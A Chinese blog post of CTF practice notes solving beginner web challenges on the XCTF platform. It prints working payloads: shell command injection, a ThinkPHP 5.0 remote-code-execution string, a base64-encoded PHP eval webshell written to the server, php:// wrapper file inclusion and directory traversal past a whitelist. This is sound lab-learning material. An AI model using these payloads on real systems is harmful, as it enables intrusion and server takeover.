攻防世界刷题笔记

攻防世界刷题笔记

背景

最近博客好久没更新了。CTFHUB web基础部分刷完很久了,提高部分的题目太难了,而且量也少。看了一眼阮行止学长提供的刷题顺序。打算开始做攻防世界。攻防世界在很久以前刚接触CTF的时候做了一些题目。当时每道题几乎都是看的wp,基础知识太薄弱了。现在做应该会好些。

view_source

1
2
3
4
<script>
document.oncontextmenu=new Function("return false")
document.onselectstart=new Function("return false")
</script>

页面禁用了右键。用Ctrl + U或者F12或者加view-souce:前缀都可以获得flag。

view-source

robots

1
2
3
4
5
url:http://111.200.241.244:51547/robots.txt

User-agent: *
Disallow:
Disallow: f1ag_1s_h3re.php

robots.txt

简单的robots.txt隐藏信息。

backup

页面提示你知道index.php的备份文件名吗?

以下为常用的index.php备份文件。

1
2
3
4
5
6
7
8
9
index.php
index.phps
.index.php.swp
.index.php.swo
.index.php.swn
index.php.php~
index.php.bak
index.php.txt
index.php.old

在这道题中为index.php.bak

index.php.bak

Cokkie

开局提示你知道什么是cookie吗?

我一共知道三种方式来看Cokkie,实际上就是HTTP的响应包。

  1. Burpsuite。这比较麻烦,懒得开Burp 2333。

  2. 浏览器开发者工具->网络->标头

    浏览器标头

  3. 利用curl命令直接看(非常优雅

    1
    2
    curl -h
    -I, --head Show document info only

    curl -I 或者 --head

disabled_button

按钮被设置了disabled属性无法点击。在F12里删除后点击即可。

ctf

weak auth

Burp Cluster Bomb集束炸弹爆破。

爆破

账号admin 密码123456

simple_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>

php弱类型绕过。

我们先看a。如果我们a传递一个0会怎么样呢?这里有一个常识需要记住,$_GET方式传递的值应该是没法传递整数的,也就是我们在浏览器地址栏的输入的数字实际上也是字符型串。

$_GET string

如果我们a传值为0。比较 的时候也就是"0" == 0。在PHP中的==表示类型转化后是否相等。PHP中如果一个数字和一个数字字符串进行比较 ,那么就会自动按照数值进行比较,所以两者是相等的。但是我们无法获得flag,因为在php中"0"是等于的FALSE的。

"0" == FALSE

所以我们传一个0,无法获得flag,这里可以用"0a"来绕过"0a"首先是一个字符串,但是它不是数字字符串,因为它不符合数字的规则,但是PHP在8.0版本之前,如果一个字符串和一个数字/数字字符串(php 5.6版本下失败) 进行比较时,会自动将字符串转化为数值。一个字符串如何转化为数值呢?其实就是根据它字符串中的最大数字字符串前缀来决定的。如下面的例子。

字符与数字比较的例子

123a的最大数字字符串前缀为123a123没有数字字符串的前缀,因为它第一个字符就是字母,所以它的等效数值为0。1e2a的前缀是科学计数法的1e2,所以它的等效数值为100。

了解了这些,我们很容易就想到一些payload来得到第一部分的flag。

1
2
?a=a
?a=0a

再看 第二部分,首先b不能为数字 ,但是它要大于1234。用1235a就可以了。因为字符串1235a在和1234比较的时候会自动转化为数值1235,比1234大,同时它还不是数字,实现绕过。

最终paylaod

1
?a=a&b=1235a

ctf

POST&GET

题目

可以用Hackerbar来发请求。这里写个request脚本吧。

1
2
3
4
5
import requests

data = {'b': 2}
response = requests.post("http://111.200.241.244:54388/?a=1", data=data).text
print(response)

ctf

xff_referer

题目提示说ip地址必须是123.123.123.123,还必须来自https://www.google.com

X-Forwarded-ForXFF)是用来识别通过HTTP代理负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

Referer字段实际上告诉了服务器,用户在访问当前资源之前的位置。这往往可以用来用户跟踪。一个典型的应用是,有些网站不允许图片外链,只有自家的网站才能显示图片,外部网站加载图片就会报错。它的实现就是基于Referer字段,如果该字段的网址是自家网址,就放行。

这道题里在请求包里加上两个属性即可。

ctf

webshell

题目

蚁剑直连即可。

蚁剑连接过程

ctf

command_execution

常见的命令执行题,利用命令分割符实现命令联合执行。

1
; find / -name "*flag*"

/home/flag.txt

1
; cat /home/flag.txt

ctf

simple_js

开局让你输密码,但是无论你输什么,它都会弹出这句话。

faux password haha

查看源代码,发现一个长相丑陋的js代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

h = window.prompt('Enter password');
alert( dechiffre(h) );

我们发现在此代码中有一些奇怪的数值,比如70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"

观察第一个,怀疑是ascii码值。这里写一个简易脚本。

1
2
3
4
5
s = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65".split(",")
result = ""
for i in s:
result += chr(int(i))
print(result)

result

这样我们就可以得知了,这个狗屁不同的js代码写了这么多,实际的功能就是把ascii码转化为字符,然后输出出来,不管我们输入的"密码"究竟是什么。

ok,那我么再分析第二个可以字符串,它是十六进制编码,我们可以用python直接print出来。

十六进制

原来这里又藏了一些ascii码,只要再用上面的脚本跑一下就能出flag了。

flag

题目描述

配合上题目秒数里的flag格式,即可得到最终flag。

baby_web

题目描述:想想初始页面是哪个

1.php

打开来的页面是1.php。这十分奇怪,我们手动访问index.php也会自动跳转到1.php

于是我们利用优雅的命令行curl来康康有什么玄机。

1
curl http://111.200.241.244:57896/index.php

flag is hidden

能藏哪呢?只能响应包的标头里了吧2333

curl -I

成功得到flag。同时我们也知道了跳转的原因了,是Location在起作用。

php如何添加头部信息呢?十分方便,用header函数即可。

1
2
<?php
header("Location: index.html");

Training-WWW-Robots

简单的robots.txt藏信息,这不是和之前的robots题目重复了嘛2333。

robots.txt

ctf

php_rce

ThinkPHP漏洞利用。

github有漏洞合集。SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合 (github.com)

1
index.php?s=index/\think\module/action/param1/${@phpinfo()}

随便找一个paylaod,试一下,得到准确版本。V5.0.20

ThinkPHP V5.0.20

利用github里的5.0.21的命令执行漏洞即可。

5.0.21

1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

id

观察payload,发现运行的命令就是最后的id。只需要在这里改成其他的命令,我们就能命令执行了。

1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

ls /

1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

ctf

得到flag后我还尝试了以下写木马2333。之前很多题都不能写,估计设置了权限。这道题可以。

首先把一句话木马base64加密一下,防止写文件时$被shell认为是特殊符号的问题(当然用单引号也可解决这个问题)

1
echo '<?php @eval($_POST["wuuconix"]);?>' | base64

base64

然后写文件。

1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo 'PD9waHAgQGV2YWwoJF9QT1NUWyJ3dXVjb25peCJdKTs/Pgo=' | base64 -d > shell.php

成功连接。

get shell

我们可以看见Thinkphp的网站根目录是在/var/www/public里的。

Web_php_include

这道题考察伪协议php://input的利用。

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

include函数的参数是一个文件名,也就是我们可以控制包含的一个文件名。但是显然,我们知道的文件只有index.php本身,自己包含自己没有意思,我们最好能够包含一个可以执行命令的php文件。

php://input伪协议就可以帮助我们实现这个想法,它可以读取一个数据流。这个输入流是用POST方式传递的。

也就是这样一个过程。

  1. 我们往page里写php://input,同时POST传递我们自己的php代码。
  2. index.php include的时候发现,这不是普通的文件名,而是一个数据流,就把我们POST发送的php代码给包含了,这就实现了远程命令执行。

php://input生效的条件是allow_url_fopenallow_url_include都设置为On

题目其实还给了个phpinfo.php文件,这是后来命令执行的时候发现的,下次做题还是得先扫,掌握更多的信息。

phpinfo

同时考虑到这道题对php://进行了循环检测,一直置空,普通的双拼是无法绕过的。但是它用的strstr函数和stristr,大小写敏感,所以我们用Php://大写绕过即可。

rce

这道题最后cat fl4gisisish3re.php的时候,是看不到flag的,因为这个文件它内部是一个php的赋值语句,index.php include之后,没有echo 语句,照样看不到。有两种方法解决。

  1. cat 的时候加上base64加密。

    1
    2
    # POST
    <?php system("cat fl4gisisish3r3.php | base64"); ?>
  2. 利用php://filter 直接读base64加密后的源码。

    1
    ?page=Php://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

此外,其实这道题按理还有一种做法,那就是远程包含一个url文件。

但是这道题输入一个url后直接崩溃了,不知道什么情况。我在我服务器上尝试是可以的。

url include

ics-06

描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

页面有个id。

id

sql注入做多了,就以为是注入,但是手动试了很多都不行,没有回显,用sleep函数也失效。貌似输入除了非数字的都会跳转到id=1。因为它的标头里有个Localtion

Location

自然sqlmap也扫不出来。

无奈看wp,看到一半突然知道直接爆破id即可。

当id为2333时,即可获得flag。

ctf

warmup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

这道题之前刚接触ctf的时候做过,当时很难理解。现在很好理解了。

首先这道题有个hint.php,提示flag在ffffllllaaaagggg

hint

souce.php中有include文件包含函数,我们可以想办法绕过,然后去包含这个flag文件即可。

题目中有这样一个语句

1
$_page = mb_substr($page,0,mb_strpos($page . '?', '?'))

也就是把你传的哪个文件名里问号前面的部分截取出来(如果没有问号就全取)。但是一般来说正常文件名也没有问号呀2333,所以这道题还是挺刻意的。

它会去验证问好前面的部分是不是source.php或者hint.php,只有这两个文件是白名单。

那么很显然payload就是这样的。

1
?file=hint.php?../ffffllllaaaagggg

但是非常可惜,没有输出。

被迫看wp,原来这个flag文件在根目录下,hint倒是说清楚呀2333。

1
?file=hint.php?../../../../../ffffllllaaaagggg

ctf

同时这道题还可以二次url加密,形成一个payload,没啥意思。也能得到flag。

二次url加密

这道题让我比较感兴趣的一点在于目录遍历的时候,文件名后加个?竟然能够毫无阻碍得继续向上级目录进发,仿佛没有这个问号似的。

在linux里是无法实现类似操作的。

cd tools?/../

我用本地环境试了一下,发现还蛮有道理的。

1
?file=poc.py../../../../../../flag

正常1

1
?file=poc.py?../../../../../../flag

正常2

这是为什么呢?看完下一个payload你就懂了。

1
?file=poc.py?sdjfljdflsldfjasklfjweiohfuuwejvsdv6513544../../../../../../flag

正常2

我在poc.py?后面又乱打了一堆东西仍然能够正常得到flag。

实际上在php眼里这几个paylaod都是一样的,因为它们都是通过当前目录下的某个文件,一开始是poc.py,然后是poc.py?,最后是poc.py?sdjfljdflsldfjasklfjweiohfuuwejvsdv6513544,来进入上级目录,我们这种目录遍历的形式实际上把哪个文件看成了文件夹。

所以这时哪个文件具体的内容,甚至说存不存在这个文件都已经没有关系了,因为我们只是把它当跳板,显然php也是这么想的。

所以我们在这道题里输的source.php?,php会把它看成一个文件夹,虽然它不存在,而我们以这个虚空的文件夹为基础跳板,得到了根目录下的flag。

web2

看似是一道web题,实际上是一道密码题2333。对应写出逆就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
$_o=strrev($str);
// echo $_o;

for($_0=0;$_0<strlen($_o);$_0++){

$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>

解密脚本

1
2
3
4
5
6
7
8
9
10
11
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$_ = base64_decode((strrev(str_rot13($miwen))));
$_o = "";
for ($i = strlen($_); $i >= 0; $i--) {
$_c = substr($_, $i, 1);
$_o = chr(ord($_c) - 1) . $_o;
}
$_o = strrev($_o);
echo $_o;
?>

flag

这里发现了一个有趣的函数,str_rot13,实际上就是移位密码,每个字母往后移13位。因为字母个数是26位,所以再移一次就移回来了,故其逆函数就是本身。


攻防世界刷题笔记
https://wuuconix.link/2021/09/23/adworld/
作者
wuuconix
发布于
2021年9月23日
许可协议